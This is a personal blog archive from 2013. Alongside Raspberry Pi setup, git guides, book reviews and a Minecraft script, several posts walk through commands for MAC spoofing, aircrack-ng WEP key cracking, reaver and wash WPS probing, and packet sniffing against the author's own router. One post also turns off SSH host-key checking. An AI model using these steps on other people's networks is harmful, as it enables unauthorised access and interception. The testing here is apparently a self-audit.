f-log just another web log

Automatic pi wifi wpa2 connection

Sun, 19 May 2013 12:44:10 BST

Making the wifi settings for WPA2(AES) permanent after getting them working manually. sudo vi /etc/network/interfaces and either comment out the WEP lines or just replace everything with

auto lo

iface lo inet loopback
iface eth0 inet dhcp

auto wlan0
allow-hotplug wlan0
iface wlan0 inet dhcp
wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf

After a reboot the wifi comes up automatically, but a quick side note... Before I got that to work I tried a '/etc/network/interfaces' file with

auto lo

iface lo inet loopback
iface eth0 inet dhcp

allow-hotplug wlan0
iface wireless1 inet dhcp
wpa-ssid MYESSID
wpa-psk AREALLYREALLYLONGPSSPHRASENOMAKEITLONGER!

And after a reboot I could run sudo ifup wlan0=wireless1 Which would connect and setup IP from dhcp. But what ever I tried I could not get it to automatically happen from the '/etc/network/interfaces' file, but I did find others who had simply added sudo ifup wlan0=wireless1 to their start up scripts. YMMV

ssh pi swapping warning fix

Sun, 19 May 2013 12:09:58 BST

All this messing about with my network [1], [2] means that ssh is not happy when I try and connect.

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ECDSA key sent by the remote host is
DE:AD:BE:EF:DE:AD:BE:EF:DE:AD:BE:EF:DE:AD:BE:EF.
Please contact your system administrator.
Add correct host key in /home/user/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /home/user/.ssh/known_hosts:8
ECDSA host key for 192.168.10.142 has changed and you have requested strict checking.
Host key verification failed.

Which I had seen before when I put a SD card from one Raspberry Pi into another. Quickest way to fix it is to just remove the line for that IP address in the '/home/user/.ssh/known_hosts' file. But doing that every time quickly becomes a pain. So to fix it long term you can white list the IP address for ssh (I know very insecure). ssh key changed -- vi ~/.ssh/config and add these three lines

Host 192.168.10.142
    StrictHostKeyChecking no
    UserKnownHostsFile=/dev/null

Testing the Pi with WPA2

Sun, 19 May 2013 11:58:19 BST

After switching to WPA2(AES) I was happily surprised to find that all the devices I connected to it just worked, now to get the Pi working... wpa_passphrase MYESSID AREALLYREALLYLONGPSSPHRASENOMAKEITLONGER! produces

network={
	ssid="MYESSID"
	#psk="AREALLYREALLYLONGPSSPHRASENOMAKEITLONGER!"
	psk=6c2e62aa8e220a890bafbfbe2aab76e3b600b06a0e451e5b6d49f717461c2d63
}

which you need to add to '/etc/wpa_supplicant/wpa_supplicant.conf' sudo vi /etc/wpa_supplicant/wpa_supplicant.conf Now to test the setup run sudo wpa_supplicant -c/etc/wpa_supplicant/wpa_supplicant.conf -iwlan0 -d What is this? I just got constantly scrolling random messages, not good. But the wifi dongle light was on indicating it HAD connected. sudo dhclient wlan0 Gave no response for ages then ended, no error and it killed the dongle light while trying. Turns out my passphrase is to good! Well it had some special character in it that needed to be treated with double quotes and a backslash escaping the special characters. No with the fixed config, the test said it had associated and did not scroll sudo wpa_supplicant -c/etc/wpa_supplicant/wpa_supplicant.conf -iwlan0 -d

EAPOL: External notification - EAP success=1
EAPOL: SUPP_PAE entering state AUTHENTICATING
EAPOL: SUPP_BE entering state SUCCESS
EAP: EAP entering state DISABLED
EAPOL: SUPP_PAE entering state AUTHENTICATED
EAPOL: Supplicant port status: Authorized
EAPOL: SUPP_BE entering state IDLE
EAPOL authentication completed successfully

Now sudo dhclient wlan0 returns sudo dhclient wlan0 RTNETLINK answers: File exists but worked! Now to make it permanent

Reaver can not eat my WPS

Sun, 19 May 2013 11:05:00 BST

Right, to test if your WPA2 router has WPS enabled and is attackable you need reaver-wps. As this is a continuation of my previous investigations [1],[2] I will assume you already have everything else installed.

sudo apt-get install libpcap-dev sqlite3 libsqlite3-dev libpcap0.8-dev
svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps-read-only
cd reaver-wps-read-only/src
./configure
make
sudo make install

Once again we need to make sure nothing interferes with the wifi.

sudo /etc/init.d/ifplugd stop
sudo killall ifplugd

Then start up the monitor mode on the device. sudo airmon-ng start wlan0 and kick off reaver-wps sudo reaver -i mon0 -b 00:00:DE:AD:BE:EF -A (where 00:00:DE:AD:BE:EF is the MAC address of the router) This stated it was Associated and showed the routers ESSID but never did anything. [CTRL]+c to exit gave the response. [+] Nothing done, nothing to save. reaver-wps also comes with 'wash' (previously called 'walsh') that can scan for vulnerable systems. It was built as part of the package so just run. sudo wash -i mon0 -C -s Did take a while but slowly all the access points in my area showed up on the list, minus my own. Safe!

Switching to WPA2 and about time

Sat, 18 May 2013 20:54:01 BST

So after all that fun last time with WEP [1],[2], I immediately changed the router to use WPA2(AES) and started looking for how to crack that. Well-l-l it seems that WPA2(AES) is just about as secure as you can get without installing an enterprise RADIUS server, with a couple of caveats; You must use a strong passphrase. You should ensure the ESSID of the access point is not a dictionary word or one of the 1000 most common ESSIDs. Your wireless router MUST have WPS disabled. So I got the first one covered, almost the full possible passphrase length of 63 characters, including special characters, upper/lower case etc. I decided not to change my ESSID, its not very long but it is also not a dictionary word nor is it in the list ( I also checked another site that had all the ESSIDs recorded for positioning information). Now the last one is the most worrying. WPS is that special button on your router that allows you to avoid typing in a long password/passphrase for new machines, just press and try and connect quickly enough. There is a tool that will crack that special code rather quickly and once it has that code it can work out your passphrase. And what is worse a large number of routers (read the majority) have an issue that this setting CAN NOT BE TURNED OFF and even if the setting exists and you set it to disabled, its STILL ENABLED. Luckily my router is so old that is does not have full WPS and so is not vulnerably. And in the next post I will detail how I confirmed that. So why the long passphrase? ANY and I mean ANY sort of encryption CAN be BROKEN with enough time and resources, but if it is going to take an attacker longer than the heat death of the universe to try, then I can live with that. An attacker can try (as any legitimate device can) to connect with the access point and try a passphrase of 'a' and when that fails 'b' then 'c' and so until they have tried every single characters and then they can, then try 'aa', 'ab' etc in turn until they have tried every possible character combination for every possible key length. Remember I have YOUR credit card PIN number :) The passphrase is 'salted' with the ESSID so attackers can not create rainbow tables of precomputed passphrases unless they knew the ESSID in advance, "linksys"

WEP key recovery with the Pi

Wed, 15 May 2013 20:25:16 BST

Last time we made sure we could find a Authenticated MAC address and assign it to our hardware. Before we go any further set the MAC address to a known client sudo ifconfig wlan0 hw ether DE:AD:BE:EF:00:00 At his point the target AP runs on channel 6 and has a MAC address of 00:00:DE:AD:BE:EF, the verified MAC address that we have set our wifi dongle to is DE:AD:BE:EF:00:00 sudo apt-get install libssl-dev subversion iw For some reason aircrack is not available in the standard packages...

svn co http://trac.aircrack-ng.org/svn/trunk aircrack-ng
cd aircrack-ng
make
sudo make install
sudo airodump-ng-oui-update

then running sudo airmon-ng start wlan0 warns us that ifplugd and dhclient might cause interference. Sure enough we try to monitor our target ESSID with sudo airodump-ng -c 6 --w wep --bssid 00:00:DE:AD:BE:EF mon0 We get nothing, removing the channel (-c) and AP MAC address (--bssid) then we get stuck on the wrong channel. Here I remove the hours of things I tried to force the dongle to the right channel.

sudo airmon-ng stop wlan0
sudo airmon-ng stop mon0

sudo /etc/init.d/ifplugd stop Stops the daemon from running any new instances but we still need to kill the existing one. sudo killall ifplugd

sudo airmon-ng start wlan0
sudo airodump-ng -c 6 --w wep --bssid 00:00:DE:AD:BE:EF mon0

This shows the packets being sent to the clients, we have not got a WEP key so we can not decrypt them. Leave that running and start another shell on the Pi (for me that is just open another console on my main machine and start ssh again, but you can get clever with 'screen' and swap between them). sudo aireplay-ng -1 900 -o 1 -q 10 -a 00:00:DE:AD:BE:EF -h DE:AD:BE:EF:00:00 mon0 This has now authenticated our connection (even though we still do not have the key) If you get an error about the channel being wrong, stop both interfaces in the airmon-ng shell and start it again with sudo airmon-ng start wlan0 6 Now you will either get an Association or it will keep reporting Keep Alive packets. I found I needed those Keep Alives. Start yet another shell and run sudo aireplay-ng -3 -b 00:00:DE:AD:BE:EF -h DE:AD:BE:EF:00:00 mon0 This is the clever bit forcing the AP to reissue a specific type of packet with the WEP key encoded in it, when we have enough we can brute force the encrypted value due to some known values. Right, switching back to the original shell wait for the #Data column to read 30,000 for a 64 bit WEP key and 60,000 for a 128bit WEP key. For my test I captured 62563 before killing the processes(which took about 5 mins). Each one needed a [CTRL]+C and stop the monitor interface sudo airmon-ng stop mon0 ls -larth shows the last file to be updated as "wep-01.cap", you can ignore the others. Final step is to decrypt the WEP key aircrack-ng wep-01.cap in less than ten seconds I had my Key! Just for fun I tried aircrack-ng on a much smaller number of packets 18 - Error try 5000+ 5295 - Error try 10000+ (after 8mins) 13643 - Key found in less than 1 second. sudo iwconfig wlan0 essid MYESSID key THEWEPHEXKEY dhclient wlan0 and we are in, connected with a stolen MAC address and WEP key. So whats the big deal? Someone can steal my internets? oh noes! sudo tcpdump -A -i wlan0 shows all the packets flowing over the network and hitting my machine, including everything being done on the wifi! I started up wifi on my phone and connected to www.jumpstation.co.uk and immediately saw the pages source code zooming up the screen. Its totally unreadable but proves the point, any non SSL(HTTPS) packets can be seen by ANY client on the network. That is, any file, any URL, any image, any email, any IM message and so on and so on.

Slapping a new MAC on the Pi

Wed, 15 May 2013 20:18:20 BST

I have been using WEP encryption on my wifi for over ten years for a number of reasons. It's the easiest form to setup and is compatible on all my different pieces of hardware, not to mention it used to be impossible to get WPA to work on linux. But I am well aware that it can be hacked in minutes/seconds and my hardware requirements to support Wifi has changed dramatically, I am going to move to something stronger than WEP. Before I make the move I want to see if it really is THAT easy to hack my specific setup. My AP setup is a non hidden ESSID, with MAC address filtering and obviously, WEP encryption. For this exercise I will be using the Raspberry PI with a USB wifi dongle with the MAC address already added to the AP MAC filtering, i.e. it all currently works. What I want to prove is that I can determine another MAC address, use this on my wifi hardware and connect. Once I have a working MAC address to break the WEP key and connect with the "found" MAC address and WEP key. ifconfig shows wlan0 with IP address (and the 'associated' light is on) lets put a stop to that, bring down the interface. sudo ifconfig wlan0 down sudo ifconfig wlan0 hw ether 00:11:22:33:44:55 SIOCSIFHWADDR: Device or resource busy - you may need to down the interface Grrr I know this was not going to be easy. sudo service ifplugd stop (does not kill ssh over ethernet) sudo ifconfig wlan0 down do not try some example MAC address such as sudo ifconfig wlan0 hw ether 01:02:03:04:05:06 You can not use such an address and will get SIOCSIFHWADDR: Cannot assign requested address in response, which took me ages to figure out, after all I was copying and pasting an example from the infallible internet ifconfig oops where has wlan0 gone(it should just be down, not out) ?

sudo service ifplugd start

ifconfig
its back and has a new MAC address that has no access to my AP due to filtering.

this is not a hardware change and will revert on reboot or unplug/replug.

So I can change my MAC address(tried that a number of years ago and it was a no-go on anything I could get my hands on) next; find a MAC address to clone

sudo apt-get install screen gpsd ncurses-dev libpcap-dev tcpdump
Now we get the self configuring version of kismet
wget http://www.kismetwireless.net/code/kismet-2011-03-R2.tar.gz
tar xfvz kismet-2011-03-R2.tar.gz
cd kismet-2011-03-R2
./configure
make
sudo make install
This will take a while the "make" step alone took 84 mins.
You can ignore all the warnings, we are now ready to rock.
sudo kismet

Say "yes" to the options, including "start server"
Ignore warnings and add wlan0 as the interface("Intf") and "name", no options.
You will be left with a scrolling list of messages, mostly complaining about the lack of GPS.
Press [TAB] and then [ENTER] to close console window and list all the Access Points.

Press [~] to get to the menus.
Now select your AP and select from the menu "View/Clients".
I have a list of the MAC address for clients in the house and I can see the IPAD and Wii are both set as "Wired/AP" and one address I do not recognise that is labelled Unknown, this is the Access Point itself.

At this point we have confirmed that we can spoof a MAC address for the wifi hardware and we have identified MAC addresses that are authorised to connect, next we need the WEP key.

I made a point of noting the channel that the AP is running on and its MAC address, they will come in handy later.

Quit Kismet (selecting Kill when asked)

Next time we will recover the WEP key.



Automatic WEP on the raspberry pi
Fri, 10 May 2013 20:58:17 BST
Last time we took the manual steps to connect via WEP, now its time to automate the process.
(I like to use vi/vim)
sudo vi /etc/network/interfaces

dd
until all the lines are gone then 
i
and paste in

auto lo

iface lo inet loopback
iface eth0 inet dhcp

auto wlan0
iface wlan0 inet dhcp
wireless-essid UR_ESSID!!!!!
wireless-key UR_KEY!!!!!
wireless-mode managed

#allow-hotplug wlan0
#iface wlan0 inet manual
#wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf
iface default inet dhcp

Press [ESC] to enter command mode
move to the UR_ESSID!!!!!
x
repeatedly
then
a
and type in your ESSID
Press [ESC] to enter command mode
move to the UR_KEY!!!!!
x
repeatedly
then
a
and type the hex key for your access point.
Press [ESC] to enter command mode
:wq

sudo shutdown -r now

Once the Pi is back up the Wifi dongle is lit and logging on shows it has an IP address !!

ps auwx
shows no sign of the pesky wpa_cli or wpa_supplicant.

Next I want to see how easy it is to hack my WEP wifi network.


WEP up the raspberry pi
Fri, 10 May 2013 20:48:49 BST
Time to Wifi my Raspberry Pi.
Make sure device is plugged in BEFORE powering up the PI, hot plugging killed mine (numerous times, killing the SD card installation, now recovered).

Boot the pi and do the standard update,upgrade and rpi-update.

The release I used was 2013-02-09-wheezy-raspbian
uname -a
Linux raspberrypi 3.6.11+ #427 PREEMPT Fri Apr 26 20:53:06 BST 2013 armv6l GNU/Linux

To find what the wifi adaptor is run
lsusb | grep -i wireless
Mine returns
Bus 001 Device 005: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter

Now when I run
ifconfig
it shows wlan0 but no IP address

iwconfig
shows

wlan0     IEEE 802.11bgn  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
          
lo        no wireless extensions.

eth0      no wireless extensions.

all ready but not connected to anything.

sudo iwconfig wlan0 essid MYESSID key MYWEPHEXKEY
shows no errors and another
iwconfig shows the ESSID correctly, but running  
sudo iwconfig wlan0 essid MYESSID key MYWEPHEXKEY
again removes it!
Something else has control of the Wifi...

sudo killall wpa_cli
sudo killall wpa_supplicant
These two processes are used for non WPA encryption and are not needed for WEP.

now sudo iwconfig wlan0 essid MYESSID key MYWEPHEXKEY
associates with the access point (wifi dongle lights up)
no ip address in ifconfig

so 
sudo dhclient wlan0
it LIVES !!

In the next post we will set the Pi up to connect at boot automatically.


Close up with the git process
Fri, 03 May 2013 21:50:31 BST
So, in my previous post I noted how to contribute on open source using Github and I tried to keep it as brief as possible, this time I would like to expand on each step.
:log in to Github
If you are not logged in you can not 'fork' someone else's project and that is what we are here to do.

:find project you want to help
I am guessing you already know which project you want to help but you can use the search facilities on Github. As well as searching on name you can find projects based on programming language and popularity.

:click "fork"
'Fork' in this case refers to 'fork' in the road. Starting in one place and diverging into multiple. The key to this magic is it allows any changes you make on your 'fork' to be reintegrated based on the fact that the 'fork' took place at a known point in the commit history of the base project.

:clone fork to your local machine
install git and run
git clone https://github.com/MYGITUSERNAME/NAMEOFTHEPROJECT.git
(this command text will be in a text box on the clone page)

This is simply the act of getting a copy of the 'fork' (that may not physically exist anywhere) and creating it on your local machine, ready to be worked on.

:develop locally
do what ever you need to.

Most likely you need to create new code or update existing code, but it could be copying and image file you want to add to the project into the project folders.
Preferably you will use some kind of compiler and or IDE to ensure your changes are "good".

:identify yourself
git config --global user.email "YOUREMAILADDRESS@USEDWITHGITHUB"
git config --global user.name "MYGITUSERNAME"

This is important to allow the changes to be tracked against your account, this is a good thing.

:commit locally 
git commit FILETOCOMMIT
seems weird but make sense if you think about it long enough.
In the editor delete all lines, they are just a guide and enter your commit notes.

Why commit locally ? This goes back to the "All things to all people" comment. It is not uncommon to find people using git (not necessarily Github) to version projects solely on their local machine.
Imagine a designer checking in commits each time they add a new component to an image. Later if they need to view an earlier version of the image it is in git (locally). Many other uses including automated backups exist.
So for us its just a log of changes that we have made, the more you remember to commit the more options you will have to roll-back.

:commit to Github
git push origin master
enter log in details

Now we are happy with the local changes we need to store them on the big Github servers in the sky, so everyone can see them.

:Create a pull request
log in to Github 
find your project
click "pull" and enter notes that will be read by the project you cloned.

This is the term new git users have the most problem with. By creating a "Pull request" you are sending a message to the original projects owner/s that someone has made some changes to the code base and they should take a look. But they do not HAVE to, or if they look and do not like what they see they can either ignore it or send comments to the submitter. Hopefully they will like what you have proposed, in which case the magic of git will allow them to commit your changes into the Master (base) code base.
There is also one other life your "fork" may have, someone else may "fork" it and so on and so on.

sit back and feel smug.

It is almost always better to fix things than leave them for someone else to fix.


Mini guide to contributing to open source with github
Fri, 03 May 2013 21:24:45 BST
This happened a while back, I just assumed it would be easier by now, how wrong could I be?
Github tries(needs) to be everything to everyone, but what I wanted from it was to make a simple change to an existing project.
So after many hours I finally tracked down what I needed to do to pull this off, it is easy but for some reason no guide, tutorial or blog seems to talk about it like this.

:log in to Github

:find project you want to help

:click "fork"

:clone fork to your local machine
install git and run
git clone https://github.com/MYGITUSERNAME/NAMEOFTHEPROJECT.git
(this command text will be in a text box on the clone page)

:develop locally
do what ever you need to.

:identify yourself
git config --global user.email "YOUREMAILADDRESS@USEDWITHGITHUB"
git config --global user.name "MYGITUSERNAME"

:commit locally 
git commit FILETOCOMMIT
seems weird but make sense if you think about it long enough.
In the editor delete all lines, they are just a guide and enter your commit notes.

:commit to Github
git push origin master
enter log in details

:Create a pull request
log in to Github 
find your project
click "pull" and enter notes that will be read by the project you cloned.
sit back and feel smug.


Raspberry Pi spreads out on SD TV RCA
Sun, 17 Mar 2013 23:16:49 GMT
As I have mentioned before we do not have a HDTV to plug the Raspberry Pi into, which is fine for RasMBC.
RasMBC also has a decent display setup meaning I could centre and resize the screen to fill the entire TV, but the standard Raspbian does not and the LXPanel desktop window manager just fails if you try and setup the 'Monitor'.
This means both the Desktop and the CLI boot tty is pretty unusable, with the prompt lost to the left hand side of the screen and no menu and hardly any buttons on the Desktop.
A solution does exist, but I only found it after fixing my problem with Minecraft Pi. There are extras settings for Top,Bottom,Left and Right overscan.
sudo vi /boot/config.txt
After a lot of playing about by SD TV needs
overscan_left=31
overscan_right=35
overscan_top=37
overscan_bottom=0
and I could have sworn that I had those number almost right, changed one parameter and then had to fiddle them all to get back to something sensible.
http://elinux.org/R-Pi_ConfigurationFile
http://elinux.org/R-Pi_Troubleshooting#Writing_spills_off_the_screen_on_HD_monitors
Annoyingly each change required a reboot and to start up X11, which was a pain because the my USB mouse dies each time X11 starts, fix is to unplug and replug.


Cory Doctorow and the Seven trials
Thu, 14 Mar 2013 21:14:03 GMT
I thought I would finally provide the Cory Doctorow book reviews I promised last year, mainly because the the pile of seven books seems to take over.
The pile is only there to remind me to post the reviews, afterwards they go into storage ... ready for the next generation.

I think this was the order I read them, not that its important, what is note worthy is I bought most of them for £0.01 (+P&P)from Amazon. You can download all of them for free from his website in various ebook/etext formats.
http://craphound.com/

Makers 
I actually read this on my phone on my daily commute, but also bought the paperback version, cannot remember in what order.
Makers is all about reusing, initially technology that has been cast away and then 3D printers that can even print 3D printers.
This subject is very close to my heart and I long to understand enough about electronics to be able to tip out the huge collection of odds and ends, motors and sensors, chips and wires I have accumulated over the last ten+ years.
The story is well woven and highly readable I love the way it evolves from mucking about with electronics and sell the odd item on eBay to creating a movement that Disney want to get in one.
Recommended.

Down & Out in the Magic Kingdom
This one is harder to summarise, there are virtual consciousnesses, rival gangs, murder(ish) and whuffie.
whuffie became a recognised thing, but had died now.
Not as good as some of his others, but still worth a read.

Someone Comes to Town, Someone Leaves Town
This is amazing, there are mountains, a winged love interest, golems, washing machines, brothers who ingest each other and so much more.
Oh and by the way they are the main characters, yes all of them, including the mountain and the washing machine. Yet somehow it all comes together into a highly readable adventure that you can not predict.
So recommended.

Little Brother
This one is true cyber punk, there is technology coming out of everything, but yet there is heart humanity and a possibility of a terrible dystopian future.
Aimed at young adults, this a thrill ride fun read.
Recommended

Content
Not fiction, but a collection of essays regarding copyright and freedom of information.
As mentioned previously this is a true *YOU MUST READ THIS BOOK* title, please for love of everything decent read this book and then get everyone on the planet to do the same.

Eastern Standard Tribe
This is the most forgettable of the collection. I remember snippets, like the transfer of of songs when you drive by other vehicles and the economics that go with that, or the sanatorium roof.
I remember thinking it was good...

For The Win
This book is really really well written, highly imaginative with lots of plot, story, characters and locations. I wonderfully blend of Asian and American cultures within cyberspace and out in the real world. From the prison type factories to the WOW grinders and gold farmers, to police brutality and gang warfare.
Recommend and recommended again.

I got Pirate Cinema from a Humble Bundle of ebooks and graphic novels. Not sure when I will read it. Currently trying to find time to read Flatland which was originally printed in 1884.


Magic stairs in the land of Raspberry Pi Minecraft
Tue, 12 Mar 2013 21:57:16 GMT
Raspberry Pi Minecraft.

I wanted to show my oldest that you could do programming on the Raspberry Pi and I know how much he loved playing Minecraft on the iPad. Not in survival mode but just creating his own house adding doors, paintings, bridges etc.
Minecraft Pi is available for free download so I thought I would give it a whirl.
Step one download and install
Then run it, oh the mouse has stopped working after selecting a game from the menu ...
Keyboard still works and nothing else is running, ESCping back to the menu shows the mouse working fine ...
After many hours of digging I hit on a tiny foot note at the bottom of a post about the screen being misaligned, which it was.
So it is all because we do not have an HDTV!!
Still, after disabling overscan I now cannot read the terminal prompt but Minecraft runs fine.
Next job, find out how to program in Minecraft ... go to http://pi.minecraft.net/ and follow the links "get started", "official site" and "dedicated wiki".
But, alas no, those are generic links to the Raspberry Pi standard web pages, nothing about programming Minecraft.
There are a few blog posts so I started with the headline catcher "Analog clock in Minecraft Pi".
I expected a in game console window like in quake '~' anyone? but instead you run python scripts that "connect" to running Minecraft sessions.
Being as this a low resolution non-HDMI setup this proved quite problematic, I could run Minecraft or a terminal window, not both, ALT+TAB did nothing.
I did find a way of moving to the second desktop with ALT+TAB(nothing visual changed but then I could) CTRL+ALT+[Right arrow], this gave a me a clean desktop which I could run terminal.
Now the trick was to run the python scripts and then switch back to desktop one to watch the fun, CTRL+ALT+[Left arrow].
After getting Hide and seek (hides a block and then tells you if you are warmer or colder trying to find it and finally the API demo which shows examples of most type of commands, add, delete, change, move, wait, print etc.
Now I needed a mini project I could work on with the boy...
In the end we opted for a simple staircase routine, move forward, move up, add brick, rinse repeat, instant staircase reaching for the sky.
#Raspberry Pi, Minecraft  Stairs
# By Alex Davis 2013/03/11

import minecraft.minecraft as minecraft
import minecraft.block as block
import time

if __name__ == "__main__":
    
    time.sleep(2)
    mc = minecraft.Minecraft.create()
    mc.postToChat("Hi, Welcome to Alex's Stairs ")
    time.sleep(5)
    playerPos = mc.player.getPos()
    stairsPos = minecraft.Vec3(int(playerPos.x), int(playerPos.y), int(playerPos.z))

    for up in range(0, 50):
	stairsPos.y = stairsPos.y + 1
	stairsPos.x = stairsPos.x + 1
        mc.setBlock(stairsPos.x, stairsPos.y , stairsPos.z, block.DIAMOND_BLOCK)

    time.sleep(2)
    mc.postToChat("Your staircase is finished, enjoy")



FYI I tried scrot and import to take the above screenshot but both returned black rectangle where Minecraft was.
now for our next project...


Cheap USB temp sensor for Raspberry Pi graphing CSV
Tue, 05 Mar 2013 22:27:25 GMT
I had heard some bad stories about ordering cheap USB devices from China on eBay, but for £4 inc P&P I would take the risk.
To my surprise the package came just 4 days later...
Plugged it in and using dmesg found the id of the device New USB device found, idVendor=0c45, idProduct=7401 which I could then Google on.
Found lots, but settled on 
http://bitplane.net/2012/01/temper1-ubuntu/ as it seemed to be the simplest requiring no dependencies.
Other candidates included
http://www.eanderalx.org/blog:linux:hid_temper_pc_sensor
https://github.com/edorfaus/TEMPered
http://www.penguinsunbound.com/User:goeko/Temp_Sensor
How easy you ask...
git clone https://github.com/bitplane/temper.git
cd temper/
make
sudo ./temper
05-Mar-2013 22:21,25.253262
And there is a handy continuous logging script.
sudo ./log.sh | tee templog.csv
(tee echos the output and also saves it to a file, 'T' for T-Junction).

Strange thing was the temperatures being recorded seemed rather high, normally 8-10 degrees more than I expected (gauging from the central heating panel in the hall).
This went on for a couple of days, was the USB gadget faulty, or even fake ?
No, the Raspberry Pi was running about 10 degrees hotter than the ambient temperature and the USB temperature logger was acting like a heat sink!
Unplugged it, added a short USB cable (30cm) and the logged temperatures are back to what I expect and the logger is cool to the touch.
So how to view all this temperature data ?
One of the previous temperature logging drivers/apps had a detailed explanation of using the csv data to power a GNUPlot graph.
GNUPlot is designed to be the single point of focus for any kind of graph you can imagine, from basic line, bar and scatter to 3D, recursive and Fractal 3D.
This in turn means that it is not the easiest of things to start with. After numerous attempts I finally created a .GP script that works with the files created earlier.

#!/usr/bin/gnuplot
#set terminal png size 1200,800
set term png size 1200,800 enhanced font '/usr/share/fonts/liberation-fonts/LiberationSans-Regular.ttf' 12
set xdata time
set timefmt "%d-%b-%Y %H:%M"
set output "room_temp.png"
# time range must be in same format as data file
#set xrange ["29-Jan-2013 00:00":"20-Feb-2013 00:00"]
#set yrange [0:50]
set grid
set xlabel "Time"
set ylabel "Temp"
set title "Room Temp"
set key left box
set datafile separator ","
plot "templog.csv" using 1:2 title "Office Temp" #with lines
(note the xrange and yrange are optional)
Now I have a room_temp.png which looks like

This was directly after I attached the USB cable and you can see the temperature plummet as it cools, away from the Raspberry Pi. The two dips are when the window was open. The trick will be to track trends...


murder in 1998 and technosphere from 1997
Fri, 22 Feb 2013 20:56:02 GMT
Back in 1998 you could do this 
http://web.archive.org/web/19990829170137/http://www.dsikar.demon.co.uk/murder/
and no one would bat an eyelid.
I know the guy and he used to get very serious requests from that page...
1997
http://web.archive.org/web/19981205045247/http://tdg.linst.ac.uk/technosphere/index.html
good times, good times ...


freedom from Angels and Demons to report the photosynth hack of 2009
Thu, 21 Feb 2013 22:55:59 GMT
After my fun with BT Buzbys I reread my 2009 exploits.
At the time it was very important that I not reveal the details(ethical hacking), but now it is time to lift the veil.
Here is the original(which was a lot of fun to write)

Once upon-a-time there was a new and exciting technology, but it was so new no one was using it and the only way to experience it was to watch the developers demonstrate it at trade shows.
Then the word was given that a web site would use the new technology and create a new user experience, the word was good.
ManyMe visited the site but the proclaimers stated the doors were closed. Despondent I tried again and again to visit the holy lands only to be shunned.
Until a fate full day when the proclaimers did proclaim all come welcome and I did enter the hallowed gates to find ...
Four sacred chapels, each with the revered experience held within, but each guarded by three challenges!
The challenges were difficult and tedious so I did what any soul in search of enlightenment would do, I cheated.
Seems the client received word from up above as to which challenges and chapels were accessible. I sent down false words and thus the chapels opened and unto me all challenges fell open. But alas the holiest of holys, the new experience was hidden from me, so it was that I told each of the challenges how to be, and as master of the challenges found them no challenge.
Now armed with not only the challenges and chapels key I also had the markers of immaculate completion and once again I requested the experience.
Now and only now I realised that I was missing an important browser upgrade that the gated ones keep hidden.
Released from the burden of having old and wretched browser plug-ins I gazed upon the experience and although it was a sight to beholden I saw a weakness.
So unto I did downloadreceive the holy scriptures and with sprinkling of bash did I determine that the hidden passages were in fact touched with additional meta-data that did reveal itself unto me.
And I found myself saying unto the higher ones this is how I did hackdisturb your site and they said OK thanks we will fix that less thy exploit these weaknesses to win great and magnificent prizes.
Hear the word of the White hat 2009-03 

The "new and exciting technology" was Photosynth, away of combining lots of 2D images into a 3D world.
The web site to use this technology was a promotional site for the new(at the time) Dan Brown film Angels and Demons.
It was launched with a teaser countdown, nothing was there until the timer reached zero.
Once it reached zero there were three challenges to complete before being able to use the Photosynth.
The "challenges" were annoying Silverlight games that I had no patience for, three games for each of the four levels, each with different Photosynth experience at the end.
Fiddler showed me that the Silverlight was downloading each games "levels" as plain xml files.
Fiddler can be setup to offer up a file from your local file system when a specific URL is requested from the browser. I download the game levels, alter then to make them one move to win and told fiddler to server them. Silverlight uses the browsers network stack so the Silverlight client never know that it was not getting legitimate files and I could complete all the games in a single move.
Each Area only opened on a set day, but once again this information was in the xml file, so I just offered up one that said they were all open.
You would think that would be the end of the story but I was very interested if where I was working could use the Photosynth Silverlight client in our own web sites so I looked at what happened when, after unlocking everything the Photosynth ran.
It downloaded xml files that told it what images to use, I used that information to download all the images.
I then used an "exif" tool in cygwin/bash to find the the dates of the files and low an behold the special files showed up as being edited at a completely different date than all the rest.
Then I realised the file stamp had the same information, "doh!".
The point of the competition was to find a secret area in each part of the Photosynth unlocking entry into competition sweepstakes for motorbikes, holidays and generally not cheap stuff.
I had spent sometime in the Photosynth trying to find things but the navigation was not linear, sometimes trying to go one way would fail because you did not click on the right pixel, very frustrating.
This whole excursion had been for a legitimate reasons to explore the new Silverlight Photosynth client I did not want to get into trouble for hacking the competition and so after checking one of the locations by looking at my image store and the "special" images I reported my "ease" of access.
Being the responsible hacker I crafted a detailed report of what had happened, how I had done it and what they could do about it. Unfortunately my boss sent the email to the marketing department who then forwarded it to anyone they could find and it got very messy very quickly, I had to hand over the email address I had used on the web site and I never tried to access it again.
I presume they fixed it by encoding the xml data and updating the Silverlight clients to require it to be encoded...
Maybe I should have just won the competition...
It did log scores, so the fact I had completed each game in a single move in under 5 seconds and I had done so on areas that should have been locked at the time would have tipped them off.


Hacking the BT Buzbys
Thu, 21 Feb 2013 22:11:31 GMT
This reads like my story (highly obfuscated) from a few years ago.
BT released a 320Gb panorama taken from the BT tower at the end of the 2012 Olympics.
http://btlondon2012.co.uk/pano.html
The level of detail is amazing and actually a bit frightening, no blurring of faces or number plates and you can see into windows miles away.
After sometime of peering into windows and just being enthralled by the constant high quality I came across a strange yellow chicken waving at the camera.
A frame appeared around him then the mouse was over, a colleague advised it was a competition and to click on it, highly exited I clicked filled in the form.
As a bit of fun BT are running a competition to find BT Buzbys (people in yellow chicken suits).
http://www.btplc.com/gigapixel/
After a while I returned to the panorama and wondered how they were noting the location of the Buzbys .. and down the rabbit hole I fell.
Fiddler showed me all the network traffic and I found that the Flash SWF being used to display the panorama called pano.xml.
In that file was lots of information including







Which was odd, there are only three Buzbys and what is ath,atv ?
The "ath" reminded me of maps and mapping onto spheres.
A quick Google for ath atv map turned up krpano which is a flash product for displaying panoramas!
